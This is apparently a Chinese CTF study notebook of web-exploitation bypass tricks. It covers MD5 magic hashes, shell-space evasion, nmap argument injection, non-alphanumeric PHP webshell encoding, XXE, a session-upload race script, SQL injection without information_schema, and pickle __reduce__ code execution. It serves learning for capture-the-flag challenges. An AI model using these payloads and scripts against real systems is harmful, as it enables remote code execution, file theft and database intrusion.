记录绕过相关的知识点
MD5绕过
参考:
robots.txt | MD5强、弱类型绕过 (+sha1碰撞) | parse_url函数绕过 – konglong – 博客园 (cnblogs.com)
- 弱类型:0e绕过
- 弱类型:数组绕过
- 强类型:有些字符串md5值相等
0e开头
| 原始值 | 哈希值 |
| s878926199a | 0e545993274517709034328855841020 |
| s155964671a | 0e342768416822451524974117254469 |
| s214587387a | 0e848240448830537924465865611904 |
| s214587387a | 0e848240448830537924465865611904 |
| s878926199a | 0e545993274517709034328855841020 |
| s1091221200a | 0e940624217856561557816327384675 |
| s1885207154a | 0e509367213418206700842008763514 |
| s1502113478a | 0e861580163291561247404381396064 |
| s1885207154a | 0e509367213418206700842008763514 |
| s1836677006a | 0e481036490867661113260034900752 |
| s155964671a | 0e342768416822451524974117254469 |
| s1184209335a | 0e072485820392773389523109082030 |
| s1665632922a | 0e731198061491163073197128363787 |
| s1502113478a | 0e861580163291561247404381396064 |
| s1836677006a | 0e481036490867661113260034900752 |
| s1091221200a | 0e940624217856561557816327384675 |
| s155964671a | 0e342768416822451524974117254469 |
| s1502113478a | 0e861580163291561247404381396064 |
| s155964671a | 0e342768416822451524974117254469 |
| s1665632922a | 0e731198061491163073197128363787 |
| s155964671a | 0e342768416822451524974117254469 |
| s1091221200a | 0e940624217856561557816327384675 |
| s1836677006a | 0e481036490867661113260034900752 |
| s1885207154a | 0e509367213418206700842008763514 |
| s532378020a | 0e220463095855511507588041205815 |
| s878926199a | 0e545993274517709034328855841020 |
| s1091221200a | 0e940624217856561557816327384675 |
| s214587387a | 0e848240448830537924465865611904 |
| s1502113478a | 0e861580163291561247404381396064 |
| s1091221200a | 0e940624217856561557816327384675 |
| s1665632922a | 0e731198061491163073197128363787 |
| s1885207154a | 0e509367213418206700842008763514 |
| s1836677006a | 0e481036490867661113260034900752 |
| s1665632922a | 0e731198061491163073197128363787 |
| s878926199a | 0e545993274517709034328855841020 |
| 240610708 | 0e462097431906509019562988736854 |
| 314282422 | 0e990995504821699494520356953734 |
| 571579406 | 0e972379832854295224118025748221 |
| 903251147 | 0e174510503823932942361353209384 |
| 1110242161 | 0e435874558488625891324861198103 |
| 1320830526 | 0e912095958985483346995414060832 |
| 1586264293 | 0e622743671155995737639662718498 |
| 2302756269 | 0e250566888497473798724426794462 |
| 2427435592 | 0e067696952328669732475498472343 |
| 2653531602 | 0e877487522341544758028810610885 |
| 3293867441 | 0e471001201303602543921144570260 |
| 3295421201 | 0e703870333002232681239618856220 |
| 3465814713 | 0e258631645650999664521705537122 |
| 3524854780 | 0e507419062489887827087815735195 |
| 3908336290 | 0e807624498959190415881248245271 |
| 4011627063 | 0e485805687034439905938362701775 |
| 4775635065 | 0e998212089946640967599450361168 |
| 4790555361 | 0e643442214660994430134492464512 |
| 5432453531 | 0e512318699085881630861890526097 |
| 5579679820 | 0e877622011730221803461740184915 |
| 5585393579 | 0e664357355382305805992765337023 |
| 6376552501 | 0e165886706997482187870215578015 |
| 7124129977 | 0e500007361044747804682122060876 |
| 7197546197 | 0e915188576072469101457315675502 |
| 7656486157 | 0e451569119711843337267091732412 |
| QLTHNDT | 0e405967825401955372549139051580 |
| QNKCDZO | 0e830400451993494058024219903391 |
| EEIZDOI | 0e782601363539291779881938479162 |
| TUFEPMC | 0e839407194569345277863905212547 |
| UTIPEZQ | 0e382098788231234954670291303879 |
| UYXFLOI | 0e552539585246568817348686838809 |
| IHKFRNS | 0e256160682445802696926137988570 |
| PJNPDWY | 0e291529052894702774557631701704 |
| ABJIHVY | 0e755264355178451322893275696586 |
| DQWRASX | 0e742373665639232907775599582643 |
| DYAXWCA | 0e424759758842488633464374063001 |
| GEGHBXL | 0e248776895502908863709684713578 |
| GGHMVOE | 0e362766013028313274586933780773 |
| GZECLQZ | 0e537612333747236407713628225676 |
| NWWKITQ | 0e763082070976038347657360817689 |
| NOOPCJF | 0e818888003657176127862245791911 |
| MAUXXQC | 0e478478466848439040434801845361 |
| MMHUWUV | 0e701732711630150438129209816536 |
| 0e215962017 | 0e291242476940776845150308577824 |
MD5值相等
PHP中
| 类型 | 字符串1 | 字符串2 | MD5 |
| PHP字符串 | \x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2 | \x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2 | 008ee33a9d58b51cfeb425b0959121c9 |
| URL编码 | %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 | %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 | (解码后) 008ee33a9d58b51cfeb425b0959121c9 |
空格绕过
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
终端命令绕过
cat禁用
tac flag.txt # 按行倒序输出
tail -n 20 flag.txt # 输出文件末20行(默认10行)
nmap函数
原理
参考文献
escapeshellarg参数绕过和注入的问题_escapeshellcmd-CSDN博客
在[CTF]WriteUp第3篇 – lingye的个人blog中也有记录escapeshellarg会将单引号先转义(变成\')后用单引号包裹escapeshellcmd会将特定字符转移,包括\和不配对的'和"
POC
127.0.0.1' -o aa
# 然后到aa'文件里面看输出
例子
127.0.0.1' -iL /flag -o abcd
提权绕过/disable_function绕过
GitHub – yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)
参考:[CTF]WriteUp第11篇 – lingye的个人blog
PHP函数绕过
一般过滤绕过
看这篇文章:无字母数字webshell总结 – 先知社区 (aliyun.com)
| 过滤了什么 | 怎么绕过 |
| php | 短标签,有<??>和<?=?>两种 |
| 字母和数字 | 汉字取反绕过,看下面的代码 |
汉字取反绕过
with open("chineseCharBypass.txt", 'r', encoding='utf-8') as fp:
lines = {line[:1]: line[1:].strip() for line in fp.readlines()}
# Split each line's value into chunks of fixed length
chunk_length = 4 # Example: split into chunks of 3 characters
lines = {key: [line[i:i + chunk_length] for i in range(0, len(line), chunk_length)] for key, line in lines.items()}
# 这里填基本信息
use = 1 # 用'字'{1}还是'字'{2}
flag = "$___" # 用来替代'字'{1}或'字'{2}的1或2
need = ["system", "_POST", "lingye"] # 想要转换的字符串,支持同时多个
length = 5 # 起始的字符串的'$___'变量名的下划线'_'的个数
for n in need:
tmp = ''
for c in n:
if tmp:
tmp += '.'
if c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
for i in lines[c]:
if i[2] == str(use):
tmp += '~' + i.replace(str(use), flag)
break
else:
tmp += c
print(f"${'_'*length}={tmp};")
length += 1
# 样例输出,对应"system", "_POST", "lingye"
$_____=~化[$___].~内[$___].~化[$___].~拉[$___].~的[$___].~和[$___];
$______=_.~对[$___].~就[$___].~第[$___].~高[$___];
$_______=~品[$___].~於[$___].~著[$___].~是[$___].~内[$___].~的[$___];
chineseCharBypass.txt
a实[2]果[1]回[2]增[2]极[1]林[1]非[2]连[2] b来[1]面[1]条[1]革[1]九[2]保[2]思[2]权[1] c在[1]有[1]作[2]地[1]机[1]本[1]看[1]月[1] d国[1]进[2]力[2]因[1]些[2]四[1]四[2]相[1] e的[1]会[2]多[2]定[2]业[2]通[2]党[2]做[2] f这[2]料[2]则[2]给[2]百[1]器[1]白[1]教[2] g是[1]高[2]还[2]明[1]变[2]题[2]员[2]战[2] h时[1]得[2]著[2]日[1]间[1]问[1]无[1]南[2] i他[2]於[1]方[1]化[2]外[2]新[1]或[2]料[1] j法[2]数[1]展[2]长[1]长[1]单[2]教[1]整[1] k用[1]生[1]电[1]应[2]由[1]政[1]比[2]气[2] l体[2]当[2]道[2]结[2]品[1]打[2]响[1]易[2] m和[1]角[2]青[2]划[2]排[2]互[2]钢[1]钱[1] n我[2]发[2]民[2]著[1]向[2]命[1]员[1]少[2] o成[2]同[1]子[2]后[1]理[1]合[1]各[1]向[1] p可[1]发[1]经[2]小[2]量[2]反[1]又[1]变[1] q后[2]现[1]从[2]去[1]与[2]明[2]原[1]接[1] r不[2]种[2]十[1]前[2]重[2]反[2]位[2]据[1] s和[2]同[2]而[2]行[2]里[2]化[1]二[2]指[1] t下[2]之[2]事[2]看[2]立[2]程[2]手[2]拉[1] u上[2]动[1]力[1]加[1]把[1]把[2]及[2]花[1] v有[2]所[1]三[2]等[2]物[1]前[1]义[2]特[1] w我[1]到[1]分[1]成[1]制[1]合[2]又[2]利[1] x出[1]过[2]里[1]自[1]量[1]重[1]文[2]指[2] y了[2]分[2]理[2]内[1]但[2]军[1]将[2]农[1] z其[1]全[1]关[1]内[2]公[1]情[2]者[2]党[1] A得[1]社[2]很[1]设[2]边[1]图[2]较[1]放[2] B国[2]作[1]能[2]都[2]体[1]当[1]使[1]好[2] C於[2]会[1]开[1]麼[2]式[1]强[1]导[2]张[1] D以[1]他[1]们[1]主[2]经[1]从[1]去[2]结[1] E了[1]人[1]人[2]为[2]出[2]产[1]度[1]二[1] F对[2]年[1]也[1]方[2]之[1]点[2]义[1]平[1] G一[1]不[1]中[1]为[1]上[1]个[1]主[1]下[1] H工[1]起[2]样[2]已[1]路[1]海[2]己[1]具[2] I时[2]家[2]制[2]其[2]然[2]并[2]件[2]阶[2] J电[2]起[1]资[1]流[1]海[1]济[1]走[1]况[2] K年[2]说[2]水[2]间[2]质[1]直[2]活[1]头[2] L法[1]平[2]关[2]系[1]想[2]决[2]即[2]至[2] M没[1]已[2]色[2]治[1]油[1]史[2]精[1]亲[2] N就[2]由[2]展[1]象[1]求[1]山[1]山[2]共[2] O到[2]地[2]就[1]民[1]水[1]小[1]现[2]新[2] P是[2]对[1]可[2]说[1]比[1]路[2]导[1]术[2] Q定[1]家[1]实[1]它[1]问[2]设[1]管[1]计[1] R中[2]子[1]学[1]等[1]正[1]此[1]热[2]六[2] S们[2]本[2]第[1]第[2]公[2]次[1]转[2]马[2] T高[1]立[1]别[2]被[2]身[2]八[2]叫[2]快[2] U个[2]自[2]只[2]验[1]太[2]罪[2]未[2]纪[2] V物[2]天[2]利[2]革[2]马[1]空[1]温[2]究[1] W在[2]用[2]动[2]部[2]全[2]表[2]质[2]程[1] X大[2]产[2]种[1]性[2]解[1]级[2]见[1]角[1] Y要[1]学[2]度[2]如[1]带[2]车[2]离[1]书[2] Z以[2]来[2]工[2]好[1]日[2]入[2]接[2]知[2]
intval()函数
It seems intval is interpreting valid numeric strings differently between PHP 5.6 and 7.0 on one hand, and PHP 7.1 on the other hand.
<?php
echo intval('1e5');
?>
will return 1 on PHP 5.6 and PHP 7.0,
but it will return 100000 on PHP 7.1.
正则绕过
推荐一个正则式检验的网站:regex101: build, test, and debug regex
可以用反斜杠\进行正则绕过,即使有对\的匹配
首尾匹配绕过
对于/^.*?/形式的正则式,有两种绕过方法
- 回溯次数超限
构造不影响结果的足够长的字符串,使其无法正常匹配 - 利用
%0a%0a是换行符,可以重置^和$
案例:[CTF]WriteUp第14篇 – lingye的个人blog
数组类型绕过
<?php
$a = array(1);
if (preg_match('/[0-9]/', $a)){echo "is";}
else {echo "not";}
Warning: preg_match() expects parameter 2 to be string, array given in /box/script.php on line 4
not
取反绕过
<?php
$a = 'assert';
echo urlencode(~$a);
// -> %9E%8C%8C%9A%8D%8B
使用例:
/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%86%9C%95%99%91%A2%D6%D6);
/?code=assert(eval($_POST[lycjfn]));
| assert | %9E%8C%8C%9A%8D%8B |
| (eval($_POST[lycjfn])) | %D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%86%9C%95%99%91%A2%D6%D6 |
异或绕过
使用例:
/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);
/?code=$_GET[_]($_GET[__]);
| _GET | {%fe%fe%fe%fe^%a1%b9%bb%aa} |
反序列化字符逃逸
字符串或者数组都行,数组记得闭合
$c = 'a:3:{i:0;i:111;i:1;a:1:{i:0;s:3:"111";}i:2;s:6:"hacker";}";}i:2;s:3:"333";}';
var_dump(unserialize($c));
$d = 'a:3:{i:0;i:111;i:1;s:3:"222";i:2;s:6:"hacker";}";i:2;i:333;}';
var_dump(unserialize($d));
# 结果:
array(3) {
[0]=>
int(111)
[1]=>
array(1) {
[0]=>
string(3) "111"
}
[2]=>
string(6) "hacker"
}
array(3) {
[0]=>
int(111)
[1]=>
string(3) "222"
[2]=>
string(6) "hacker"
}
反序列化魔术方法
Serialize · Eki’s CTF (ieki.xyz)
数组绕过
在url里面可以这样传递数组(POST也一样):
/?a[]=1&a[]=2
# 后端
$a = $_GET['a'];
# 可以得到$a[0]=1;$a[1]=2;
可以在这些方面绕过:
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(),"abc") = null
strlen(Array()) = null
basename()绕过
basename作用是返回字符串路径的文件名
利用点在于它会无视空白字符(新版本无效)
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
url传参可以用%ff绕过
exif_imagetype绕过
文档:PHP: exif_imagetype – Manual
通过检测文件头来判断文件类型
可以在文件前面添加GIF98a绕过
xxe漏洞
利用xml格式文件来读取想要的信息
正常有回显无过滤:
<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/flag">
]>
<user>
<username>&payload;</username>
<password>1</password>
</user>
注:user这里的结构因题而异
require_once绕过
题目源码:require_once 'flag.php'; require_once $_GET['file'];
题目案例:[CTF]WriteUp第36篇
三种方法
PHP_SESSION_UPLOAD_PROGRESS 万能非预期
# PHP_SESSION_UPLOAD_PROGRESS 万能非预期
import io
import sys
import requests
import threading
import time
host = 'http://7c2c2c74-ef12-427b-b72a-baf30a73de9f.node5.buuoj.cn:81/'
sessid = 'lingye'
cmd = "<?php system('cat flag.php');echo md5('1');?>"
get_host = f'http://7c2c2c74-ef12-427b-b72a-baf30a73de9f.node5.buuoj.cn:81/?file=/tmp/sess_{sessid}'
flag = 'c4ca4238a0b923820dcc509a6f75849b'
wait_time = 0.2
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
time.sleep(wait_time)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":cmd},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(get_host)
if flag not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
路径过长
/?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
路径解析错误
/?file=php://filter/read=convert.base64-encode/resource=/lingye/../proc/self/cwd/flag.php
非法变量名绕过
题目源码:eval($_POST[cmd_66.99]);
方法:非法变量名会被解析成_,比如[,.。其中[被解析成_时,会取消后面对非法变量名的解析。
cmd[66.99=phpinfo();
SQL绕过
空格绕过
/**/
information绕过
禁用
or的情况
参考文献:不知道列名的情况下注入 – 简书 (jianshu.com)
原理讲解:
现在有这样一张表,对其
select * from flag:然后
select 1 as a,2 as b,3 as c union select * from flag然后
select group_concat(a) from (
select 1 as a,2 as b,3 as c union select * from flag)a
# 查表名,因为information被过滤
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
# 跳过字条直接查值
select group_concat(a) from (select 1 as a,2 as b,3 as c union select * from flag)a
select group_concat(b) from (select 1 as a,2 as b,3 as c union select * from flag)a
select group_concat(c) from (select 1 as a,2 as b,3 as c union select * from flag)a
innodb绕过
用sys.schema_table_statistics_with_buffer或者sys.schema_auto_increment_columns
这两个有table_schema和table_name
union和join绕过
且不知列名:
(select 1, "f") > (select * from flag)
# 1. sql的字符串比较是字典序,爆破就行
# 2. 前面增删一些东西来控制要比较的字符串在第几个位置
Python函数绕过
pickle反序列化绕过
一图流

import pickle
import urllib
def hack():
print "i hack u!"
class payload(object):
def __reduce__(self):
return hack, tuple()
a = payload()
a = pickle.dumps(a)
a = urllib.quote(a)
print(a)
print("-----")
b = pickle.loads(urllib.unquote(a))
print(b)
这里补充两个知识点
__reduce__魔术方法
这个方法用于对象的序列化,当你用pickle序列化一个对象时,pickle会调用这个函数,否则使用默认的序列化方法
__reduce__应当返回一个包含回调函数或可回调对象和一个参数元组的元组
def __reduce__(self):
# 返回一个元组,包含两个元素:
# 1. 一个callable,用于从pickle状态重建对象
# 2. 一个元组,包含传递给callable的参数
return callable, (args, ...)
commands库
python3里面,被subprocess替代
常用:
commands.getoutput(cmd: str) -> str
# 执行shell命令,以字符串形式输入输出
def __reduce__(self):
return commands.getoutput (cmd, )



